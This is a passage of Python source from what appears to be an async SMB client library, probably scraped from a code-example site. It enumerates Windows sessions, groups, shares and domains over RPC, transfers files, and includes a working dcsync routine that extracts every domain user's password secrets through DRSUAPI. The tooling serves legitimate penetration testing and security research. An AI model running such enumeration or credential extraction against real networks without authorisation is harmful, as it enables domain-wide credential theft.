                    await self.results_queue.put(directory)

    async def enumerate_sessions(self):
        """
		Enumerates all active user sessions on the host
		"""
        if not self.srvs:
            await self.open_srvs()
        if self.srvs_works == False:
            return

        try:
            async for user, ip in self.srvs.list_sessions():
                session = SMBUserSession(user, ip)
                if self.results_queue is not None:
                    await self.results_queue.put(session)

                self.hostinfo.sessions.append(session)
        except Exception as e:
            print(e)
            return

    async def enumerate_groups(self):
        """
		Enumerates the LOCAL groups on the host
		"""
        if not self.samr:
            await self.open_samr()

        print(self.samr_works)
        if self.samr_works == False:
            return

        local_domain_sid = await self.samr.get_domain_sid('Builtin')
        print('local_domain_sid : %s' % local_domain_sid)
        domain_handle = await self.samr.open_domain(local_domain_sid)
        async for groupname, sid in self.samr.list_domain_groups(
                domain_handle):
            lg = SMBLocalGroup(groupname, sid)

            alias_handle = await self.samr.open_alias(domain_handle,
                                                      sid.split('-')[-1])
            print('alias_handle : %s' % alias_handle)
            async for sid in self.samr.list_alias_members(alias_handle):
                lg.members[sid] = 1

            if self.results_queue is not None:
                await self.results_queue.put(lg)

            self.hostinfo.groups.append(lg)

    async def enumerate_services(self):
        raise Exception('Not implemented')

    async def enumerate_tasks(self):
        raise Exception('Not implemented')

    async def run(self):

        await self.fake_logon()
예제 #13
0
class SMBMachine:
    def __init__(self, connection):
        self.connection = connection
        self.services = []
        self.shares = []
        self.localgroups = []
        self.sessions = []
        self.domains = []

        self.srvs = None
        self.samr = None
        self.lsad = None

        self.filesystem = None
        self.servicemanager = None

    async def connect_rpc(self, service_name):
        if service_name.upper() == 'SRVS':
            self.srvs = SMBSRVS(self.connection)
            await self.srvs.connect()
        elif service_name.upper() == 'SAMR':
            self.samr = SMBSAMR(self.connection)
            await self.samr.connect()
        elif service_name.upper() == 'LSAD':
            self.lsad = LSAD(self.connection)
            await self.lsad.connect()
        else:
            raise Exception('Unknown service name : %s' % service_name)

    async def connect_filesystem(self):
        self.filesystem = SMBFileSystem(self.connection)

    async def connect_servicemanager(self):
        self.servicemanager = SMBRemoteServieManager(self.connection)
        await self.servicemanager.connect()

    @req_srvs_gen
    async def list_shares(self):
        async for name, share_type, remark in self.srvs.list_shares():
            share = SMBShare(
                name=name,
                stype=share_type,
                remark=remark,
                fullpath='\\\\%s\\%s' %
                (self.connection.target.get_hostname_or_ip(), name))
            self.shares.append(share)
            yield share

    @req_srvs_gen
    async def list_sessions(self, level=1):
        async for username, ip_addr in self.srvs.list_sessions(level=level):
            sess = SMBUserSession(username=username,
                                  ip_addr=ip_addr.replace('\\', '').strip())
            self.sessions.append(sess)
            yield sess

    @req_samr_gen
    async def list_domains(self):
        async for domain in self.samr.list_domains():
            self.domains.append(domain)
            yield domain

    @req_samr_gen
    async def list_localgroups(self):
        async for group in self.list_groups('Builtin'):
            yield group

    @req_samr_gen
    async def list_groups(self, domain_name, ret_sid=True):
        """
		Lists all groups in a given domain.
		domain_name: string
		"""
        domain_sid = await self.samr.get_domain_sid(domain_name)
        domain_handle = await self.samr.open_domain(domain_sid)
        #target_group_rids = {}
        async for name, rid in self.samr.list_aliases(domain_handle):
            sid = '%s-%s' % (domain_sid, rid)
            yield name, sid

    @req_samr_gen
    @req_lsad_gen
    async def list_group_members(self, domain_name, group_name):
        policy_handle = await self.lsad.open_policy2()
        domain_sid = await self.samr.get_domain_sid(domain_name)
        domain_handle = await self.samr.open_domain(domain_sid)
        target_group_rid = None
        async for name, rid in self.samr.list_aliases(domain_handle):
            if name == group_name:
                target_group_rid = rid
                break

        alias_handle = await self.samr.open_alias(domain_handle,
                                                  target_group_rid)
        async for sid in self.samr.list_alias_members(alias_handle):
            async for domain_name, user_name in self.lsad.lookup_sids(
                    policy_handle, [sid]):
                yield (domain_name, user_name, sid)

    async def list_directory(self, directory):
        await directory.list(self.connection)
        for entry in directory.get_console_output():
            yield entry

    async def put_file_raw(self, local_path, remote_path):
        """
		remote_path must be a full UNC path with the file name included!

		"""
        with open(local_path, 'rb') as f:
            async with SMBFileReader(self.connection) as writer:
                await writer.open(remote_path, 'w')
                while True:
                    await asyncio.sleep(0)
                    data = f.read(1024)
                    if not data:
                        break
                    await writer.write(data)

    async def get_file(self, out_path, file_obj):
        with open(out_path, 'wb') as f:
            try:
                await file_obj.open(self.connection, 'r')
                while True:
                    data = await file_obj.read(1024)
                    if not data:
                        break
                    f.write(data)
            finally:
                await file_obj.close()

    async def create_subdirectory(self, directory_name, parent_directory_obj):
        await parent_directory_obj.create_subdir(directory_name,
                                                 self.connection)

    @req_servicemanager_gen
    async def list_services(self):
        async for service in self.servicemanager.list():
            yield service

    @req_samr_gen
    async def dcsync(self, target_domain=None, target_users=[]):

        if target_domain is None:
            logger.debug('No domain defined, fetching it from SAMR')

            logger.debug('Fetching domains...')
            async for domain in self.samr.list_domains():
                if domain == 'Builtin':
                    continue
                if target_domain is None:  #using th first available
                    target_domain = domain
                    logger.debug('Domain available: %s' % domain)

        async with SMBDRSUAPI(self.connection, target_domain) as drsuapi:
            try:
                await drsuapi.connect()
                await drsuapi.open()
            except Exception as e:
                logger.exception('Failed to connect to DRSUAPI!')
                raise e

            logger.debug('Using domain: %s' % target_domain)
            if len(target_users) > 0:
                for username in target_users:
                    secrets = await drsuapi.get_user_secrets(username)
                    yield secrets

            else:
                domain_sid = await self.samr.get_domain_sid(target_domain)
                domain_handle = await self.samr.open_domain(domain_sid)
                async for username, user_sid in self.samr.list_domain_users(
                        domain_handle):
                    secrets = await drsuapi.get_user_secrets(username)
                    yield secrets

    #placeholder for later implementations...
    async def save_registry(self, hive_name):
        pass

    async def stop_service(self):
        pass

    async def deploy_service(self):
        pass

    async def list_mountpoints(self):
        pass